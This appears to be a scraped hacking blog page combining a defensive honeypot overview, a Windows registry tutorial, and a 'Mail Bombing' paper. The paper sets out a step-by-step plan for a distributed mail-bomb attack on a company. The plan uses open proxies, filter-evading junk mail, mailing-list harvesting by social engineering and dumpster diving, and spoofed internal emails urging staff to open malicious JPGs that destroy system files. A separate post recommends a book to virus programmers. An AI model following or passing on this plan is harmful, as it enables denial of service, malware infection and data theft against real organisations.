Honeypots can help prevent attacks in several ways. The first is against automated attacks, such as worms or auto-rooters. These attacks are based on tools that randomly scan entire networks looking for vulnerable systems. If vulnerable systems are found, these automated tools will then attack and take over the system (with worms self-replicating, copying themselves to the victim). One way that honeypots can help defend against such attacks is slowing their scanning down, potentially even stopping them. Called sticky honeypots, these solutions monitor unused IP space. When probed by such scanning activity, these honeypots interact with and slow the attacker down. They do this using a variety of TCP tricks, such as a Windows size of zero, putting the attacker into a holding pattern. This is excellent for slowing down or preventing the spread of a worm that has penetrated your internal organization. One such example of a sticky honeypot is LaBrea Tarpit. Sticky honeypots are most often low-interaction solutions (you can almost call them 'no-interaction solutions', as they slow the attacker down to a crawl . Honeypots can also be protect your organization from human attackers. The concept is deception or deterrence. The idea is to confuse an attacker, to make him waste his time and resources interacting with honeypots. Meanwhile, your organization has detected the attacker's activity and have the time to respond and stop the attacker. This can be even taken one step farther. If an attacker knows your organization is using honeypots, but does not know which systems are honeypots and which systems are legitimate computers, they may be concerned about being caught by honeypots and decided not to attack your organizations. Thus the honeypot deters the attacker. An example of a honeypot designed to do this is Deception Toolkit, a low-interaction honeypot.

The second way honeypots can help protect an organization is through detection. Detection is critical, its purpose is to identify a failure or breakdown in prevention. Regardless of how secure an organization is, there will always be failures, if for no other reasons then humans are involved in the process. By detecting an attacker, you can quickly react to them, stopping or mitigating the damage they do. Tradtionally, detection has proven extremely difficult to do. Technologies such as IDS sensors and systems logs haven proven ineffective for several reasons. They generate far too much data, large percentage of false positives, inability to detect new attacks, and the inability to work in encrypted or IPv6 environments. Honeypots excel at detection, addressing many of these problems of traditional detection. Honeypots reduce false positives by capturing small data sets of high value, capture unknown attacks such as new exploits or polymorphic shellcode, and work in encrypted and IPv6 environments. You can learn more about this in the paper Honeypots: Simple, Cost Effective Detection. In general, low-interaction honeypots make the best solutions for detection. They are easier to deploy and maintain then high-interaction honeypots and have reduced risk.

The third and final way a honeypot can help protect an organization is in reponse. Once an organization has detected a failure, how do they respond? This can often be one of the greatest challenges an organization faces. There is often little information on who the attacker is, how they got in, or how much damage they have done. In these situations detailed information on the attacker's activity are critical. There are two problems compounding incidence response. First, often the very systems compromised cannot be taken offline to analyze. Production systems, such as an organization's mail server, are so critical that even though its been hacked, security professionals may not be able to take the system down and do a proper forensic analysis. Instead, they are limited to analyze the live system while still providing production services. This cripiles the ability to analyze what happend, how much damage the attacker has done, and even if the attacker has broken into other systems. The other problem is even if the system is pulled offline, there is so much data pollution it can be very difficult to determine what the bad guy did. By data pollution, I mean there has been so much activity (user's logging in, mail accounts read, files written to databases, etc) it can be difficult to determine what is normal day-to-day activity, and what is the attacker. Honeypots can help address both problems. Honeypots make an excellent incident resonse tool, as they can quickly and easily be taken offline for a full forensic analysis, without impacting day-to-day business operations. Also, the only activity a honeypot captures is unauthorized or malicious activity. This makes hacked honeypots much easier to analyze then hacked production systems, as any data you retrieve from a honeypot is most likely related to the attacker. The value honeypots provide here is quickly giving organizations the in-depth information they need to rapidly and effectively respond to an incident. In general, high-interaction honeypots make the best solution for response. To respond to an intruder, you need in-depth knowledge on what they did, how they broke in, and the tools they used. For that type of data you most likely need the capabilities of a high-interaction honeypot.

Up to this point we have been talking about how honeypots can be used to protect an organization. We will now talk about a different use for honeypots, research. Honeypots are extremely powerful, not only can they be used to protect your organization, but they can be used to gain extensive information on threats, information few other technologies are capable of gathering. One of the greatest problems security professionals face is a lack of information or intelligence on cyber threats. How can we defend against an enemy when we don't even know who that enemy is? For centuries military organizations have depended on information to better understand who their enemy is and how to defend against them. Why should information security be any different? Research honeypots address this by collecting information on threats. This information can then be used for a variety of purposes, including trend analysis, identifying new tools or methods, identifying attackers and their communities, early warning and prediction, or motivations. One of the most well known examples of using honeypots for research is the work done by the Honeynet Project, an all volunteer, non-profit security research organization. All of the data they collect is with Honeynet distributed around the world. As threats are constantly changing, this information is proving more and more critical.

Getting Started
If you have never worked with honeypots before and want to learn more, I recommend starting with simple low-interaction honeypots, such as KFSensor or Specter for Window users, or Honeyd for Unix users. There is even a Honeyd Linux Toolkit for easy deployment of Honeyd on Linux computers. Low-interaction honeypots have the advantage of being easier to deploy and little risk, as they contain the activity of the attacker. Once you have had an opportunity to work with low-interaction solutions, you can take the skills and understanding you have developed and work with high-interaction solutions. To help you better understand honeypots, below is a chart summarizing what we just covered.

Low-interaction
Solution emulates operating systems and services.

* Easy to install and deploy. Usually requires simply installing and configuring software on a computer.

* Minimal risk, as the emulated services control what attackers can and cannot do.

* Captures limited amounts of information, mainly transactional data and some limited interaction.

High-interaction
No emulation, real operating systems and services are provided.

* Can capture far more information, including new tools, communications, or attacker keystrokes.

* Can be complex to install or deploy (commercial versions tend to be much simpler).

* Increased risk, as attackers are provided real operating systems to interact with.

Finally, no paper on honeypots would be complete without a discussion about legal issues. There are many misconcepts about the legal issues of honeypots. Instead of briefly covering the legal issues in this paper, I will be releasing a new paper at the end of May, 2003 dedicated to the legal issues of honeypot technologies.

Conclusion
The purpose of this paper was to define the what honeypots are and their value to the security community. We identified two different types of honeypots, low-interaction and high-interaction honeypots. Interaction defines how much activity a honeypot allows an attacker. The value of these solutions is both for production or research purposes. Honeypots can be used for production purposes by preventing, detecting, or responding to attacks. Honeypots can also be used for research, gathering information on threats so we can better understand and defend against them. If you are interested in learning more about honeypots, you may want to consider the book Honeypots: Tracking Hackers, the first and only book dedicated to honeypot technologies

by Dark Shade | 0 comments

Mail Bombing

Mail "Bombing" is perhaps one of the oldest and certainly considered one of the "lamest", that is to say; ineffective and immature, methods of "attack" available to the would-be "script kiddie" or otherwise malicious user online. Simply dating back to the first time someone realised hundreds of irrelevant emails sent to someone else's inbox could be an extreme, and most importantly time wasting, annoyance. The theory behind the attack is relatively simple; flood your chosen targets inbox with as many junk emails as possible over a given time vector; for example an attacker may devote a few hours run time to sending the "bomb". In practise the attack is easily achieved with varying degree's of success by any number of specifically designed programs able to send thousands, if not tens of thousands, of emails on command over a relatively short space of time.

However a flaw had developed with this attack strategy (which at it's conception was in fact quite effective). As the internet developed from an academic to a more commercial institution and due to the vast swathes of Spam mail (eg. junk mail) online, complex and often very effective anti-Spam (in this context interchangeable with the term "anti-junk") backend software (such as White Mail, www.whitemail.ie) has been developed with the soul purpose of preventing junk mail arriving in users inbox's.

Such software effectively nullifies a traditional Mail Bomb attack by such methods as:

a) blocking incoming mail from an IP when an inordinate/inappropriate number of emails have been received from that IP,

b) filtering emails by topic and content; blocking any which are considered by sophisticated backend databases to be Spam or
c) blocking known "problem" (that is to say open and or Spam generating) IP's in the first place.

But could you increase a theoretical "Mail Bombs" effectiveness if you were to randomise your "bombs" origin IP and content, how effective could such an attack be?

Additionally if it is possible to increase the effectiveness of a Mail Bomb as an unconventional Denial of Service attack; would that increase in effectiveness be further stimulated by specifically targeting it toward one target with the intention of not only causing the traditional virtual damage (in terms of network bandwidth etc.) but also aiming to cause maximum disruption to the targets "wet ware" network, that is to say real life employees, by exposing them directly to an online attack.

2. Method

The first objective was to locate sufficient open proxies capable of one way or another relaying outgoing mail. This did not prove to be any great challenge. A short search online located at least one extremely efficient piece of third party software which downloads an updated list of open proxies specifically for this task on demand.

The specific software will not be named in the interests of not unnecessarily increasing the possibility of malicious users actually utilising this attack or indeed, it becoming widespread; likewise any custom code used in the research of this paper. However it is important to recognise the fact that such software (and even if you ignore the previous statement) if not already existent, could easily be written, perhaps more dangerously, specifically written into purpose coded mail bomb software even to the alarmingly sophisticated extent of actually being able to cunningly spoof not only an emails domain of origin but ALL aspects of the email header on a multithreaded and randomised basis, thus totally cloaking the origin of the attack. The theory is sound.

The next objective was to theorise over a suitable target. I choose to speak to an employee of whitemail.ie; wanting to test this theoretical attack against the might of the White Mail back engine; one of the better anti-Spam solutions on the market.

To my surprise the White Mail engine was practically defenceless against a targeted mass distributed mail bomb attack; as I will assume all "anti-spam" backend software is simply and understandably because such software is not designed to defend against such attacks. The multithreaded nature (that is not say; multi-angled from an origin perspective) makes blocking such an attack a very complicated affair. You cannot prevent a target being affected by simply blocking an attackers IP address after a disproportionate number of mails. Further more, by carefully but definitively randomising topic and content to contain non-spam related keywords. Such as, for example:

Subject: Cheers.

Content: Thanks for letting this mail

arrive. Great help to me!

It is highly unlikely that any existing Spam blocking backend will filter out such inconspicuous emails. They simply do not contain any words or phrases which an anti-Spam database will consider threatening, or at least threatening enough to block. Additionally as pointed out to me by a number if industry related individuals while discussing this issue, attaching .pdf files of a suitably large file size will also often ALLOW emails to slip past anti-Spam software for the also simple reason that there is no reason to maliciously send a .pdf as it is largely impossible for them to be in any way malicious; other than perhaps in the case of this theoretical distributed mail bomb attack that is.

3. The Attack Vector

In order to attack a target one must first locate as many email address based upon the targeted network as possible. This would be the first task of any would-be mass mail bomber. The obvious, most effective and indeed simplest attack vector for this are internal mailing lists.

I sent out a questionnaire to a number of IT staff and network administrators to ascertain the legitimacy of my proposed attack vector but knowing from my own experience that a high degree of internal mailing lists are open to receiving email from the internet as opposed to the perhaps safer practice of limiting access to such addresses to the local intranet.

The questions posed were:

1) Does your company use mailing lists for departmental email notifications?

2) If so, are the mailing lists usable from "Net Side"?

One hundred per cent of the questionnaires returned a positive answer to the first question and of those fifty per cent of them returned a positive answer to the second question.

We can conclude roughly from this (without conducting detailed research into the common state of this attack vector over a much wider cross section, which although in the long term very possibly worth doing, was not the main aim of this particular investigation) that around fifty per cent of corporate (or commercial) networks are vulnerable to a theoretical targeted distributed mass mail bomb attack.

The attack vector legitimised and confirmed the next problem for a would-be attacker would be to attain the actual email addresses to bomb. Such addresses can be procured in a number of ways; perhaps the most simple of which being trial an error test mails to the most common possibilities: ie. accounts@target, marketing@target etc etc.

It is also possible (if a little unlikely) that you could socially engineer an answer from the target themselves. It may sound ridiculous to suggest that you could simply phone a targets switchboard, ask for accounts, then simply request the departmental mailing list address; but stranger things have happened, and with the right degree of skill, and a strong cover story anything can be achieved with social engineering. The weakest link in a network is often it's users.

Naturally there are other perhaps more sophisticated methods of obtaining internal mailing list addresses; if one was for example to gain access either on site (a job interview, obviously under a false name) or remotely to the network intranet (back to basics hacking) for example it is highly likely that such lists could be easily located. Additionally 'trashing' (the practise of going through waste bins for information) a target is also likely to yield enough of the internal addresses necessary for this attack to be effective.

There is also always the possibility of 'brute force' bombing. Firstly ascertaining the common syntax of email address for your target (ie. first.surname@target or name@target etc.) then emailing random combinations of names to the targeted network using our theoretical mail bombing software and a database of names (which is probably available or otherwise relatively easily constructed), which although from the attackers point of view would take longer and has a definite lower degree of effectiveness is never the less likely to be effective to at least some degree; largely dependent on how the post office on the target network deals with emails with unknown target addresses. The very worst case positive scenario for the attacker would be to utterly swamp a post office which sends all unknown mail to the postmaster (still not an uncommon practice) with all the mails that were aimed at random combinations of words/names. A result which still achieves some of the desired effect (ie. an increase in the Total Cost of System, such factors to be discussed in more detail later).

It is also important here to note the potential damage that could be caused by various attachments if used in a suitably cunning manner; adding .pdf attachments to mails to feign legitimacy has already been mentioned, but now consider for a moment the possibility of inclusion of compromised .jpg's (ie. jpg's which have been altered to contain code which when executed in certain Mcft software, a recently patched but likely still extremely viable secondary theoretical factor to this attack).

Such .jpg's, for example, Within a .html based email (perhaps as the focus of the mail, perhaps as a false company logo etc.) could become a very effective tool. Dependent on what code you choose to add to these .jpg's all manner of havoc could be wreaked upon an unsuspecting intranet. The downside to this from an attacking point of view is the inherent increase in the likelihood of detection by anti-Span or anti-Virus software when adding known malicious code or exploits to your mass mails. However when talking about this theoretical attack one must always remember it's a) distributed and b) mass nature. If you send five thousand emails and only three thousand make it past whatever defences there may be, that can still be considered an effective attack within the context of the theory. The key here would be utilising the attack vector to deliver a new perhaps unknown virus or exploit.

4. Fictional Timeline

Imagine that the internal mailing lists for following departments within the target are procured and confirmed: accounts@ sales@ humanresources@.

Out of the target's posted business hours five thousand emails are sent to each of the procured addresses (a relatively low amount). On a random basis some contain large legitimising .pdf attachments, some contain .jpg's infected with virus code designed to destroy the working system directory on infected machines (you can interchange the use of .jpg's here with any java based attack past present or future and the designation to destroy the system directory with just about anything you can imagine; more subtle or otherwise).

Additional emails are sent spoofing localhost domains of the target and instructing users to execute more infected .jpg's (or java script) in order to read instructions on how to cope with the incident. This will further increase the likelihood of any malicious code which makes it past Anti-viral software actually being executed.

Employee's arrive for work discovering a vastly disproportionate number of emails in their inboxes, lost amongst which is their legitimate email. The common and indeed procedural response (confirmed by another question posed on this papers distributed research questionnaire) would be to either phone the IT Department, or lodge a formal request for IT help on a ticket system of some kind. It would not take long for an IT department to become swamped.

Some employee's would, statistically, fall for the ruse adding to the primarily "Wet Were based DoS" already caused by the sheer number of mails that have arrived a more traditional digital attack. Put simply; the more "traps" you send the more likely someone is to trip one; and ultimately an exploit is to be executed. It is an unfortunate fact that a high degree of non "IT Department" staff do not have sufficient computing knowledge to identify such threats. One professional going as far as commenting "The business I currently contract all my time out to? hopeless. Utterly hopeless." In answer to the question "How would you rate the general IT knowledge within your company?" on this papers research questionnaire. A response that can only be encouraging to would-be attackers in all shapes and forms.

The additional question: "Generally speaking do non-IT related employee's in your company understand the risks associated with windows related exploits?" Was posed to which the common answer was a resounding "No."

From this we can conclude with a high degree of certainty that unless the network was entirely and faultlessly patched (an attacker would naturally use the most recently discovered or indeed unknown home grown exploits) infection and or severe damage to at least some target machines would be unavoidable.

5. Effects

The effects on the target network would thus be five fold:

1) Employee's unable to sort their own legitimate email from a mass of junk mail and thus only able to carry out their usual function with varying degree's of success (depending on their function in the first place sales@ in this fictional scenario being perhaps most affected by this element of the "Wet Ware DoS"). This is the primary effect of the attack.
2) A swamped IT department. Perhaps unable to respond as quickly as they should do to any additional threat levelled at them (for example a more conventional DoS attack).
3) Actually lost or damaged data within the target network.
4) Depending on the code added to the planted .jpg's/javascript; viral infection of the network, possibly resulting in remote access doors being opened (naturally depending on the firewall software/hardware located at the target) effectively making this DoS a possible cover for the planting of a further future attack vector in the form of Trojans, or even perhaps data miners searching for specific data and emailing or otherwise sending back, such data to a specified location; it pains to imagine what information could be deliberately searched for on a targeted network; bank account details, employee personal details, perhaps even full and detailed lists of the targets email address (which could aid an attacked in sustaining the attack if the net side internal mailing lists were disabled by the targets network administrators; a sensible first line of defence). The possibilities are endless.
5) Ultimately the DoS causes a vast increase in the Total Cost Of System for the target; which will last as long as it takes to both disinfect the system and to purge all post boxes of junk mail. The beauty of this is that it is so simple to execute; the DoS could be automated, a process set up to attack the target every day at a certain time; with no methods of blocking such an attack being immediately obvious. Without taking drastic measures to block every IP from the distributed attack (a thankless task; given the fact there are always more proxies) this form of attack has the frightening potential to cripple a targets email indefinitely.

6. Conclusion

Due to the relatively obscure and surprising nature of this DoS (mail bombing is not commonly used to disrupt in such an organised manner) combined with the fact that the current generation of email filtering software (anti-Spam/anti-viral backends) are ill prepared to deal with such attacks, it is theoretically potentially disastrous to any target with an identified open main attack vector (that is to say mainly net side internal mailing lists) and is additionally equally as dangerous if a malicious user can otherwise identify, on mass, lists of email addresses relating to the target (via trashing and other methods discussed earlier).

On top of the primary effect; ie. the confusion and disruption potentially caused by this attack in its purest form it is also an effective and dangerous delivery system for, in particular, un-patched or new exploits/virii. An effective method for blocking such attacks needs to be developed before any damage is caused by one.

Posted in Hacking Tutorials, Tutorials by Dark Shade | 0 comments

Virus proggraming book

The Giant Black Book of Computer Viruses
Mark Ludwig
American Eagle Publications, Inc.
ISBN 0-929408-10-1
1995

Check it out :- http://vx.netlux.org/lib/vml01.html

Very good book for virus programmers

Posted in xp Hackz by Dark Shade | 0 comments

What is registry

The registry is a database that stores all the Operational System configuration and informations. The Registry Editor Tool is located by default in the System folder. The 16-bits Windows95,98,ME Registry Tool (application) is called ?Regedit.exe? while 32-bits Windows NT4,2000,XP,2003 have both ?Regedit.exe? and ?Regedt32.exe? applications. The files that composes the registry in Windows 95/98/ME are ?system.dat? and ?user.dat?. On Windows NT/2000/XP/2003 the files are ?SOFTWARE?, ?SYSTEM?, ?SECURITY? , ?SAM?.

Main

To open your Registry Editor Tool go to ?Start? ? ?Run? and type ?regedit? without the quotes. The ?Regedit? window will appear and you will see a main element that is ?My computer? . When you double click it you will see the Registry ?ROOT KEYS? They have a 'folder icon' and they are like directories. There are 5 RootKeys. PS: Windows 95 and 98 have a 6th RootKey called HKEY_DYN_DATA A table is available below with the RootKeys names and a basic description for each of them.

ROOT KEY

Description

HKEY_LOCAL_MACHINE

Contains specific configuration information of the computer. (Valid for any user)

HKEY_CURRENT_USER

Contains the base of configuration information for the current logged-on User. Screen, colors, Control Panel and folders configurations are stored here. These informations are called ?User Profile?

HKEY_USERS

Contains the bases of all users profile on the computer. HKEY_CURRENT_USER is a sub-key of HKEY_USERS

HKEY_CLASSES_ROOT

It is a sub-key of HKEY_LOCAL_MACHINE\SOFTWARE.

The informations stored here guarantees that the correct program will be executed when you open a file using the Windows Explorer

HKEY_CURRENT_CONFIG

Contains information about the hardware profile used by the local computer in the system startup

HKEY_DYN_DATA

(Windows 95,98,98SE Only)

Contains configuration informations that are stored in RAM and statistics gathered for many network components currently in use on the computer. The information in this key is newly created on every Windows startup.

Those ?RootKeys? above have some keys with sub-keys (left side of the Registry Panel). The keys and sub-keys contains values of a valid type and with some data (right side of the Registry Panel). These values contains information such as strings and numbers. Some numbers have a specific meaning that will affect the Windows configuration depending on what it was set to. The Windows 9x/ME Registry editor seems to only fully read REG_SZ , REG_DWORD and REG_BINARY value types. It doesn�t display the type in the ?Regedit? window, only the value names and its respective datas. The following table provides a quick description of the value types and their properties.

Type

Description

REG_BINARY

Usually hardware-specific data stored in hexadecimal format, as viewed from regedt32.exe. By default, it will be displayed in hex, but the editor can use either binary or hex display.

REG_DWORD

Usually service- or device-related data. The value is numeric, four bytes long, and viewed as hex data, but can be edited as binary, decimal, or hex. To avoid headaches, I also edit it as hex lest I confuse myself.

REG_DWORD_BIG_ENDIAN

This data is stored as a 32-bit value. The data is weighted with the highest-ordered byte first.

REG_SZ

Terminated fixed-length text (Unicode) string. These and other SZ datatypes are given String editors by the registry editor to administer the values.

REG_MULTI_SZ

Multiple data listings, represented by text. These values can be separated by spaces, commas, or other delimiters.

REG_EXPAND_SZ

A data string whose data length may change. An example is the folder path to a file or directory for application and environmental variable support.

REG_LINK

Linked data stored in Unicode format.

REG_FULL_RESOURCE_DESCRIPTOR

When viewed, gives information such as hardware DMA, IRQ, and memory address length. Data is displayed in hex and can be edited using byte, word, or dword format. Regedit.exe gives only a binary editor with hex representation of the data, without regard to specific application of the data.

REG_NONE

When values are not given as to datatype by an application, or the data is encrypted so that Server 2003 is unable to determine the value type.

REG_RESOURCE_LIST

regedt32.exe displays basic type hardware resources?interface type and bus number

REG_RESOURCE_REQUIREMENTS_LIST

Related to Hardware or Driver. The value data is represented in hex format. It displays a requirements list that contains elements such as ?Alternative List? , ?Resource List? , ?Descriptor?, ?Device Type?

REG_QWORD

Just like ?REG_DWORD? value type. The only difference is that REG_DWORD is a 32-bit number and REG_QWORD is a 64-bit number.

You can edit Registry ?values? to fit your needs, or modify some configuration but it is extremely important that you know what exactly you are doing, what will be the effects on the Operating System. It is highly recommended that before editing the registry you do a complete backup of it. To do this right click on the first element, that is 'My Computer', and then click on 'Export'. All the information existent on your Registry will be saved in a .REG file that can be edited with notepad and executed by double-clicking on it. Notice that .REG files are Registry scripts that edits the registry. Editing the registry means that it can add, rename or delete keys, modify, add or delete a value. To delete a key on the registry, right click on the desired key and click 'delete' To add a new subkey, right click on the main key you want to create it on and click 'new key'. You can set up a name for this key. eg: create a key called 'abc' on the 'Software' key of HKEY_CURRENT_USER root key. Double click on my computer, then double click the Root key HKEY_CURRENT_USER, then double click the key Software and you will see its subkeys and values on the right side of the Registry Panel. Now right click on 'Software', click 'new' then click 'key' and rename it to ABC . Suppose now you want to add a string value type of REG_SZ called '123' and value data as 'windows' Right click on the 'ABC' key, click on 'new', then click on value of the sequence. a REG_SZ value type will appear on the right side of the Registry screen. Rename it to '123' and press enter. Now double click this value and type 'windows' on the "value data" field . Press enter and you are done. Now let�s add a REG_BINARY value type called 'Bin' to the 'ABC' key and value data 43; Right click the 'ABC' key, click 'New', then click 'Binary value'. Rename this value to 'BIN' Now double click the 'BIN' value and type '43' on the "value data" field. Notice this field is big and when you type something it is automatically converted to hexadecimal, appearing as a decimal value on the center of the "value data" field and appearing as a hexadecimal value on the right side. at the left side there is 4 numbers. These 4 numbers appears on each line, depending on the numbers of lines took to write the value data. It begins with '0000' in the first line; 0008 in the second line; '0010' on the third and so on. REG_BINARY values can be in Hexadecimal or in bytes. It is possible to add a Registry key to ?Favorites? so that you can open it very fast without having to open the RootKey, then the sub-key, the the other sub-key and so on. To do this, on your ?Regedit? window, go to they desired key and click it once; Now , on the top of the ?Regedit? window, click ?Favorites? and click ?Add to Favorites?. A small window will show up displaying the name of the key on the white field. You can rename it to whatever you want and click ?OK?. For example you can add HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services to ?Favorites? and name it NT_SERVICES. When you need to quickly access this key, you click ?Favorites? then select ?NT_SERVICES?. You will be instantly brought to the ?Services? key. It is possible to delete these ?Favorites? as well.

REGEDIT.EXE and REGEDT32.EXE Applications . What�s the difference???

REGEDIT.EXE application when run can view and edit keys and values on the registry of NT based systems but only partially cause it is intended for 16-bit Windows. Only REGDT32.exe application can fully edit the registry and it is intended to 32-bit Windows. On Windows NT and 2000 if you use REGEDIT.EXE to edit REG_EXPAND_SZ and REG_MULTI_SZ value types you will have problems cause the value will become a normal REG_SZ type and therefore will not perform the expected action. Also it is not possible to edit Security in the registry keys. On Windows XP and 2003 REGEDT32.EXE is only a small tool to open REGEDIT.EXE application. Fortunately REGEDIT.EXE application on XP and 2003 can fully edit the registry.

Permissions & Restrictions

It�s also possible to set up access permissions on Windows 2000,XP,2003 for Rootkeys and sub-keys. To do this, right click on a registry root key or sub key and click on "Permissions". A new window will appear. There you can select what users can access or modify on an specific root key or sub-key and their access rights. Users with administrator privileges have, by default, full access; That means, read, write, delete any key or value. Restricted users can only read. They can write or delete some specific keys or values, generally related only to that user itself. Some keys in the registry cannot be even read by restricted users. You can customize those settings: A list of existing groups and users of the local computer will be available. You can customize what users can have full access to, or restrict access, depending on your needs, by selecting what kind of access a specific user will have to the selected key to set the permissions. You can select, for example, only the read right on that key. Supposing this user is called 1, and you have users 1,2,3 everyone with admin privileges, when you set up this restriction, only User 1 will be able to only read . users 2,3 will have full access. You can also do this to a registry sub-key. The procedure is the same. Also you can restrict specifc user(s) to view a root key or a sub key. This means that the user won?t be able even to open that selected key. if that user tries to open that key, an 'Access denied' error message will show up. Registry Permissions/Restrictions in general are important when you have more than one person accessing the computer, or when the computer is inside a LAN that has many users accessing it and the computer has important data.

Remote Registry

There is a service in Windows 2000,XP,2003 called ?Remote Registry. By default this service is enabled and automatically starts on every Windows boot. It�s like a ?Registry server? intended to receive remote connections of computers of the same network. To connect to a computer running

The Remote Registry service, in your ?Regedit? window click ?File? , then click ?Connect Network Registry?. A small window titled ?Select Computer? will show up. You will have 3 basic fields:

First one is titled ?Select this kind of object?. Below this it is written ?Computer?. The second field is titled ?From this location?. Below it is written ?GROUP?. The third field is titled ?Type the object name to be selected?. Below this there is an empty field where you are supposed to type a valid Computer Name or IP address. Supposing inside your network you have a computer called Comp1 and IP address = 192.168.5.5 . You can type ?Comp1? or ?192.168.5.5? in this field. Click ?OK?. If all was right you should get a Logon Prompt. As this service by default is designed for a main security user (Windows XP and maybe 2003, I didn?t test on 2000 but should be identical) you can type there the

Name of this user that is ?NT AUTHORITY\NetworkService?, click ?OK? and after few seconds be connected to the remote computer. (NT AUTHORITY is the domain name and NetworkService is the user name; Domain Name was specified since NT AUTHORITY is not the default domain name.) You can also login with any other valid User Name existent in the target computer.

After connected to the remote computer�s Registry you will see the computer name or IP address depending on which of them you have specified. 2 Root Keys will be available for edition :

HKEY_LOCAL_MACHINE and HKEY_USERS\s-1-5-xx where xx is the number related to the Username you logged on to the remote computer. To disconnect click on ?File? then click ?Disconnect Network Registry?.

Importing to the Registry

Besides those things you can do, it is also possible to edit the Registry using scripts, and applications written in most programming language such as C++, Java, Fortran, Visual Basic, Delphi, Asm, etc? The scripts could be the default Registry script file (.REG files), VBScript, Javascript, etc ? In this tutorial we will only discuss the default Registry Script (.REG files) .

With the .REG scripting you can basically add values to the Registry, delete values, delete keys, add keys and modify values data. This type of Script begins with a ?title? being the Version of the Windows Registry . For Newer Windows, it is usually ?Windows Registry Editor Version 5.00?. But if you want a script that is compatible with ANY Windows version, including 95,98,ME,NT4 you can change this ?title? to REGEDIT4 .

Notice that it is very important that you write the ?title? exactly as it appears. If you, for example, type regedit4 it won�t be recognized by Windows and errors will happen. Same thing goes to version 5. If you type ?windows registry editor version 5.00? you will run into errors as well. The structure of this script is the following:

----------------------------------REG Script -------------------------------------------------------------

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\MySoft1]

@=?MySoft1 default value?

?Value1?=?3?

?Type?=dword:00000001

?Environment Variable?=hex(0):40,01,00,00,0f,00

?Key?=hex: 20,04,00,00,0f,00,70,00,50,00

?RelativePath?=hex(2):63,00,3a,00,5c,00,6d,00,79,00,73,00,6f,00,66,00,\

74,00,31,00,5c,00,73,00,6f,00,66,00,74,00,2e,00,65,00,78,00,65,00,00,00

?Applications?=hex(7):61,00,62,00,63,00,20,00,64,00,65,00,66,00,20,00,\

67,00,68,00,69,00,20,00,6a,00,6b,00,6c,00,00,00,00,00

?MainType?=hex(5):40,01,00

[HKEY_LOCAL_MACHINE\SOFTWARE\MySoft1\Preferences]

?AlwaysRunMaximized?=dword:00000001

-----------------------------End of REG Script----------------------------------------------------------

Notice that REG scripts begin with the Version information of the Registry Editor.

If you try to import REG scripts that begins with ?Windows Registry Editor Version 5.00? to a Windows 95,98,ME or NT4 Registry, you will get an error. In order to overcome this you can start the script with REGEDIT4 instead. This one is intended to any Windows version, including recent ones like XP Service Pack2 and Windows2003. The second line of the script is in blank, just to let it more organized. Next line you have the Registry path between brackets ?[ ]?. Notice that if you forget those brackets the script won�t do what it was supposed to. In the line below it there is a ?@ ? (with no quotes), an ?equal? signal after it, and ?MySoft1 default value? (between quotes). The ?@? means the default value. Every key that you create will contain this default value, and usually contains no data. If no data specified you will see this: (Value not defined). The equal signal must exist to separate values and its datas. The value name in this case is ?Default? , type REG_SZ with data being MySoft1 default value. The same thing goes to the line below:

The value name is ?Value1?, type is REG_SZ and value data is ?3?. Notice that any value except the ?Default Value ( ?@?) must appear between quotes. When you have value types different from REG_SZ, the respective data will appear without the quotes. Notice that the other values data (REG_DWORD,REG_BINARY,REG_EXPAND_SZ,etc) appear without the quotes. Notice that the other values datas, except the REG_DWORD and REG_SZ types, begins with hex: or hex(z): , Where ?z? is a number between 5 and 9, and this will be the determinant of the value type. ?z? could also be 0 or 2, or could have no value between the brackets (eg: hex:00,12,00 or hex(2):00,01,00) and also could be ?a? or ?b?. Below there is a table with these values for ?z? and the resulting value type.

HEX(z):

Resulting Value Type

Hex:

REG_BINARY PS: this is the same as Hex(3):

Hex(0):

REG_NONE

Hex(1):

REG_SZ PS: Not recommend to use this specific hex(1): due to generate data that is not correctly interpreted by the Registry and therefore will appear as ?weird? symbols.

Hex(2):

REG_EXPAND_SZ

Hex(3):

REG_BINARY PS: this is the same as Hex:

Hex(4):

REG_DWORD PS: Not recommend to use this specific hex(4): due to generate data that is not correctly interpreted by the Registry and therefore will appear as ?invalid dword value. Simply use dword: instead

Hex(5):

REG_DWORD_BIG_ENDIAN

Hex(6):

REG_LINK

Hex(7):

REG_MULTI_SZ

Hex(8):

REG_RESOURCE_LIST

Hex(9):

REG_FULL_RESOURCE_DESCRIPTOR

Hex(a):

REG_RESOURCE_REQUIREMENTS_LIST

Hex(b):

REG_QWORD

The 14th line as you can see is in blank (for organization purposes) and just below there is another Registry path that is just the same as the 1st one in line3, but there is a subkey for ?Mysoft1? called Preferences, and a value type of REG_DWORD called ?AlwaysRunMaximized? with data as 1 (in dword 0x00000001). This is not just an information, this has a meaning. The meaning is ?1?. And 1 means True. 0 means false.

Well so we can figure out that ?MySoft1 program? Window is configured to run always in always maximized. Some programs also stores configuration such as User password in the registry, but encrypted and it is usually a REG_BINARY value type.

The REG script below will delete a value from the registry and then, an entire key, including subkeys and values.

-----------------------------------------REG Script-------------------------------------------------------

REGEDIT4

[HKEY_CURRENT_USER\Software\Soft123]

?type?=-

[-HKEY_CURRENT_USER\Software\Soft123456]

-------------------------------------End of REG Script--------------------------------------------------

Notice the above script is able to run in any Windows version, not only in 2000/XP/2003.

(due to beginning with ?REGEDIT4?). The firs script will only be able to run on 2000/XP/2003, unless you change the title (?Windows Registry Edition Version 5.00?)

to REGEDIT4 . To delete a value it is used a ?minus? signal after the ?equal? signal of an specific value, in our case the value is ?type?. To delete a key in the registry, we simply have to put a ?minus? signal before the key path. This will delete the last key specified in the path (in the case Soft123456) and all its sub-keys and values.

None of the 2 scripts described above contained value types of REG_LINK, REG_RESOURCE_REQUIREMENTS_LIST, REG_RESOURCE_LIST, REG_FULL_RESOURCE_DESCRIPTOR, because these are related to Hardware information and configuration , very few used, except by the Hardwares itself by the time they are installed. REG_NONE and REG_QWORD types are also very few used. The first one happens when the Registry cannot interpret the data (sometimes because it is encrypted) and therefore cannot establish the value type. The second one is a 64-bit value generally used to store information about hardware stuff.

Exporting from the Registry

To export a desired key from the registry, you simply have to right-click that key and select ?Export?. A new window prompting where to save the key will show up. Where you see filename, you type the name you want for the file to store the informations about the key.

